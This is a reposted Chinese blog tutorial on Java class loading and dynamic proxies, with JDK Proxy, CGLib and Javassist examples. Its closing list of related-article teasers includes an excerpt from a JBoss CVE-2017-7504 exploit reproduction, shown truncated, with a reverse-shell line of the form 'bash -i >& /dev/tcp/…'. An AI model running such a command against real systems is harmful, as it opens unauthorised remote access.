JDK、CGLib、Javassist实现动态代理

news2025/1/11 11:44:57

一、类加载

1.类加载过程模拟(先明白类加载过程,方可模拟类运行期间加载-创建代理类,调用目标方法)

public class Programmer {
    public void code() {
        System.out.println("I'm a Programmer,Just Coding.....");
    }
}
/**
 * 自定义一个类加载器,用于将字节码转换为class对象 
 */
public class MyClassLoader extends ClassLoader {
    public Class<?> defineMyClass(byte[] b, int off, int len) {
        //TODO SOURCE CODE
        return super.defineClass(null,b, off, len);
    }
}
public class MyTest {
    public static void main(String[] args) throws IOException {
        //读取本地的class文件内的字节码,转换成字节码数组  
        File file = new File(".");
        InputStream input = new FileInputStream(file.getCanonicalPath() +
                "\\target\\classes\\com\\max\\dproxy\\loadseq\\Programmer.class");
        byte[] result = new byte[1024];//字节型
 
        int count = input.read(result);
        // 使用自定义的类加载器将 byte字节码数组转换为对应的class对象  
        MyClassLoader loader = new MyClassLoader();
        Class clazz = loader.defineMyClass(result, 0, count);
        //测试加载是否成功,打印class 对象的名称  
        System.out.println(clazz.getCanonicalName());
        
        try {
            //实例化一个Programmer对象  
            Object o = clazz.newInstance();
            //调用Programmer的code方法  
            clazz.getMethod("code", null).invoke(o, null);
        } catch (IllegalArgumentException | InvocationTargetException | NoSuchMethodException | SecurityException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
2.类加载过程
在这里插入图片描述
注:绿色椭圆内即JVM虚拟机状态,具体不做赘述。

二、动态代理

在这里插入图片描述
静态代理:手动编写代理类代理目标类方法。缺点:手动创建;代理类越来越多,系统规模增大,不易维护;

动态代理:由于JVM通过字节码的二进制(byte-code)信息加载类的,那么,如果我们在运行期系统中,1.遵循Java编译系统组织.class文件的格式和结构,2.生成相应的二进制数据,3.然后再把这个二进制数据加载转换成对应的类,这样,就完成了在代码中,动态创建一个类的能力了。
在这里插入图片描述

JDK实现动态代理

public interface Vehicle {
    void drive();
}
public interface Rechargable {
    void recharge();
}
public class ElectricCar implements Rechargable, Vehicle {
    @Override
    public void drive() {
        System.out.println("Electric Car is Moving silently...");
    }
    @Override
    public void recharge() {
        System.out.println("Electric Car is Recharging...");
    }
}
public class InvocationHandlerImpl implements InvocationHandler {
    private ElectricCar car;
    public InvocationHandlerImpl(ElectricCar car) {
        this.car = car;
    }
    @Override
    public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) throws Throwable {
        System.out.println("You are going to invoke " + paramMethod.getName() + " ...");
        paramMethod.invoke(car, null);
        System.out.println(paramMethod.getName() + " invocation Has Been finished...");
        return null;
    }
}
public class Test {
    public static void main(String[] args) {
        ElectricCar car = new ElectricCar();
        // 1.获取对应的ClassLoader  
        ClassLoader classLoader = car.getClass().getClassLoader();
        // 2.获取ElectricCar 所实现的所有接口
        Class[] interfaces = car.getClass().getInterfaces();
        // 3.设置一个来自代理传过来的方法调用请求处理器,处理所有的代理对象上的方法调用  
        InvocationHandler handler = new InvocationHandlerImpl(car);
        /* 
          4.根据上面提供的信息,创建代理对象 在这个过程中,  
          a.JDK会通过根据传入的参数信息动态地在内存中创建和.class文件等同的字节码 
          b.然后根据相应的字节码转换成对应的class,  
          c.然后调用newInstance()创建实例 
         */
        Object o = Proxy.newProxyInstance(classLoader, interfaces, handler);
        Vehicle vehicle = (Vehicle) o;
        vehicle.drive();
        Rechargable rechargeable = (Rechargable) o;
        rechargeable.recharge();
    }
}

在这里插入图片描述
newProxyInstance过程做了3件事:

1.通过传入的类信息(加载器、接口、处理器-增强方法)动态的在内存中创建和.class文件同等的字节码(代理类字节码)

2.将该字节码转换成对应类(生成代理类的步骤)

3.通过newInstance创建类,而后调用1中传入的所有接口方法。

对比类的加载过程,123步骤。

cglib实现动态代理

public class Programmer {
    public void code() {
        System.out.println("I'm a Programmer,Just Coding.....");
    }
}
/*
 * 实现了方法拦截器接口 Spring AOP实现方式
 */
public class Hacker implements MethodInterceptor {
    @Override
    public Object intercept(Object obj, Method method, Object[] args, MethodProxy proxy) throws Throwable {
        System.out.println("**** I am a hacker,Let's see what the poor programmer is doing Now...");
        proxy.invokeSuper(obj, args);
        System.out.println("****  Oh,what a poor programmer.....");
        return null;
    }
}
public class Test {
    public static void main(String[] args) {
        Programmer progammer = new Programmer();
        Hacker hacker = new Hacker();
 
        //cglib 中加强器,用来创建动态代理  
        Enhancer enhancer = new Enhancer();
        //设置要创建动态代理的类  
        enhancer.setSuperclass(progammer.getClass());
        // 设置回调,这里相当于是对于代理类上所有方法的调用,都会调用CallBack,而Callback则需要实行intercept()方法进行拦截  
        enhancer.setCallback(hacker);
        Programmer proxy = (Programmer) enhancer.create();
        proxy.code();
    }
}

在这里插入图片描述

javassist实现动态代理

public class Programmer {
    public void code() {System.out.println("I'm a Programmer,Just Coding.....");
    }
}
public class MyGenerator {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        //创建Programmer类       
        CtClass cc = pool.makeClass("com.max.dproxy.javassist.Programmer");
        //定义code方法  
        CtMethod method = CtNewMethod.make("public void code(){}", cc);
        //插入方法代码  增强
        method.insertBefore("System.out.println(\"I'm a Programmer,Just Coding.....\");");
        cc.addMethod(method);
 
        //保存生成的字节码  
        cc.writeFile("d://temp");
    }
}

???中间有一点没有实践,暂时遗留???

三、总结

1.类的加载:
.java编译形成.class bytecode;而后将byte code通过类加载期load到运行期中进行解释、编译、运行
2.动态代理
实现原理:在运行期模拟类的加载过程,将增强类生成字节码,加载转成类(代理类)
jdk:基于接口?从何说起?因为在newPorxy创建代理类时,传入被代理类的所有接口。
InvocationHandler作用?
1)自定义的方法处理器,在invoke方法中加入被代理类的增强逻辑。
2)通过InvocationHandler统一管理器,在调用接口方法(drive、recharge时)进行拦截,统一调用invoke方法,根据invoke中传入的method参数,确定调用被代理类的具体方法。
缺点:被代理类与代理类都继承自同一接口,无法实现随机自由组合增强。
cglib:两个无关类,增强类只需实现MethodInterceptor,通过enhancer的setCallback,调用intercept增强方法。intercept写法与jdk类似。
javassist:采用类的包名加载类,编译形成字节码,设置接口、字段信息,添加构造方法、接口方法,最后使用构造器实例化类,调用接口方法。

https://blog.csdn.net/daybreak1209/article/details/80402895

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/999340.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第二证券:BC电池概念再度活跃,永和智控涨停,广信材料等拉升

BC电池概念11日盘中再度活跃&#xff0c;截至发稿&#xff0c;广信材料涨超17%&#xff0c;永和智控涨停&#xff0c;帝尔激光涨超6%&#xff0c;英诺激光、爱旭股份涨超3%。 职业方面&#xff0c;近日&#xff0c;隆基绿能举办半年报成绩说明会&#xff0c;会上董事长钟宝申在…

软件架构设计(十三) 构件与中间件技术

中间件的定义 其实中间件是属于构件的一种。是一种独立的系统软件或服务程序,可以帮助分布式应用软件在不同技术之间共享资源。 我们把它定性为一类系统软件,比如我们常说的消息中间件,数据库中间件等等都是中间件的一种体现。一般情况都是给应用系统提供服务,而不是直接…

vue2通过.env进行多环境配置

这边 我们先创建一个本地文件夹 作为项目的存放目录 然后我们执行 vue create 项目名 创建一个vue项目 例如 我这里这样 vue create multiple_environ创建一个叫 multiple_environ 的vue项目 这里 我们选择vue2的版本 然后 在 然后 大家可以配置多个环境 但都需要用因为命…

JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

一、影响版本 Jboss AS 4.x及之前版本 二、搭建环境 三、漏洞验证 访问/jbossmq-httpil/HTTPServerILServlet&#xff0c;出现以下页面代表存在漏洞 四、漏洞复现 1.nc开启监听 2.生成序列化数据 使用工具ysoserial.jar生成序列化数据 bash -i >& /dev/tcp/192.16…

安全生产:CVE-2020-11022/CVE-2020-11023漏洞解析

文章目录 一、前言二、漏洞原理三、修复方案3.1 升级jQuery3.2 1.x 升级至 3.x 需要考虑的问题3.2.1 table表格元素自动添加tbody3.2.2 方法变更 3.3 jquery migrate是什么 四、拓展阅读 一、前言 代码安全扫描阶段&#xff0c;前端资源审计发现jQuery版本过低导致生产系统存在…

线程生命周期、线程通讯

一、生命周期 有关线程生命周期就要看下面这张图&#xff0c;围绕这张图讲解它的方法的含义&#xff0c;和不同方法间的区别。 1、yield()方法 yield()让当前正在运行的线程回到就绪&#xff0c;以允许具有相同优先级的其他线程获得运行的机会。但是&#xff0c;实际中无法保证…

第5章 【MySQL】InnoDB数据页结构

5.1 不同类型的页简介 页是InnoDB 管理存储空间的基本单位&#xff0c;一个页的大小一般是 16KB 。InnoDB 为了不同的目的而设计了许多种不同类型的 页 &#xff0c;比如存放表空间头部信息的页&#xff0c;存放 Insert Buffer信息的页&#xff0c;存放 INODE 信息的页&#x…

《低代码指南》——低代码+AI,智能化的构建数字应用

LCHub低代码社区:对低代码平台在AI领域的应用及其成果进行了深入阐述。他强调,在AI时代,工程化的重要性不容忽视,同时,复杂系统建设和数据模型驱动开发也占据了核心地位。 顾伟不仅深入探讨了低代码零代码平台在业界的不同分类和使用场景,还详细解读了低代码平台的功能架…

区块链实验室(22) - go-sdk访问Fisco的案例

在前面的案例中(区块链实验室(21) - Go语言采用SDK访问Fisco的案例)&#xff0c;go程序调用FISCO SDK的参数固化在程序中&#xff0c;现将其改造如下。 package mainimport ("flag""fmt""log""github.com/FISCO-BCOS/go-sdk/client"&…

Ubuntu22.04安装及显卡驱动问题

自己有window系统&#xff0c;想搞个ubuntu系统玩玩 一、Ubuntu22.04安装 首先去官网下载ubuntu系统&#xff0c;我下载的是22.04 https://cn.ubuntu.com/download/desktop 准备一个启动盘制作器Rufus&#xff0c;将下载好的镜像烤制到U盘 制作完u盘&#xff0c;进入bios更…

第27章 非阻塞IO实验

上个章节中我们学习了阻塞IO&#xff0c;阻塞IO是通过等待队列来实现的&#xff0c;那么如何让驱动实现非阻塞呢&#xff1f;带着疑问&#xff0c;让我们开始本章节非阻塞IO的学习吧&#xff01; 27.1 非阻塞IO简介 应用程序可以使用如下所示示例代码来实现阻塞访问&#xff…

浅谈综合管廊智慧运维管理平台应用研究

贾丽丽 安科瑞电气股份有限公司 上海嘉定 201801 摘要&#xff1a;为提升综合管廊运维管理水平&#xff0c;实现管理的数字化转型&#xff0c;采用综合监测系统、BIMGIS 可视化系统、智能机器人巡检、结构安全监测等技术&#xff0c;搭建实时监控、应急管理、数据分析等多功能…

1254. 统计封闭岛屿的数目

二维矩阵 grid 由 0 &#xff08;土地&#xff09;和 1 &#xff08;水&#xff09;组成。岛是由最大的4个方向连通的 0 组成的群&#xff0c;封闭岛是一个 完全 由1包围&#xff08;左、上、右、下&#xff09;的岛。 请返回 封闭岛屿 的数目。 示例 1&#xff1a; 输入&…

健身用哪种耳机好、健身运动耳机推荐

对于和我一样热爱健身和运动的人来说&#xff0c;音乐就像一种调动情绪的"兴奋剂"&#xff0c;在戴上耳机、聆听着动感的音乐时&#xff0c;我们能够感受到肌肉的收缩&#xff0c;完全沉浸在自己的世界中。这种状态让我们的训练状态达到巅峰&#xff0c;快乐倍增。因…

c++ 学习 之 类内成员变量和成员函数分开存储

正文 一个空的类占多少内存 看代码 #define CRT_SECURE_NO_WARNINGS #include<iostream> using namespace std;// 在c 中类内成员变量和成员函数分开存储 class Person {};void test() {Person p;// 空对象占的内存为 1 &#xff0c;是为了区分空对象占内存的位置cout…

多线程-阻塞队列

在这篇博客中我们接触的队列都是非阻塞队列&#xff0c;比如PriorityQueue、LinkedList&#xff08;LinkedList是双向链表&#xff0c;它实现了Dequeue接口&#xff09;。 使用非阻塞队列的时候有一个很大问题就是&#xff1a;它不会对当前线程产生阻塞&#xff0c;那么在面对类…

飞行动力学 - 第19节-part2-尾旋及改出 之 基础点摘要

飞行动力学 - 第19节-part2-尾旋及改出 之 基础点摘要 1. 尾旋2. 尾旋进入3. 尾旋改出4. 参考资料 1. 尾旋 尾旋是一种绕垂直轴自动旋转、下降的特殊失速现象。 特点&#xff1a; 尾旋半径半个翼展长度旋转速度120 度/秒 2. 尾旋进入 不同型号飞机&#xff0c;其尾旋特点不…

2023-简单点-什么是protobuf?

protobuf mother: 谷歌 作用 序列化 人话&#xff1a; 存储数据的一种结构 优势在&#xff1f; 类型安全 易用性好 序列化/反序列性能好 兼容性好 不仅可以定义结构体&#xff0c;还可以定义rpc服务接口 劣势在&#xff1f; 可读性较差&#xff1a;没有schema的情况下&a…

element的el-select给下拉框添加背景

第一步 :popper-append-to-body"false" <el-selectv-model"value"placeholder"请选择":popper-append-to-body"false"><el-optionv-for"item in options":key"item.value":label"item.label&quo…

web自动化测试工具之Selenium的使用

Selenium的使用 Selenium概述工作原理应用场景安装浏览器驱动 基本使用安装Selenium模块注意点使用分析代码实现 常见方法driver对象定位标签元素与获取标签对象获取文本内容与属性值 使用无界面浏览器使用pyantomjs驱动设置chrome启动参数 其他操作窗口切换ifrme切换设置User-…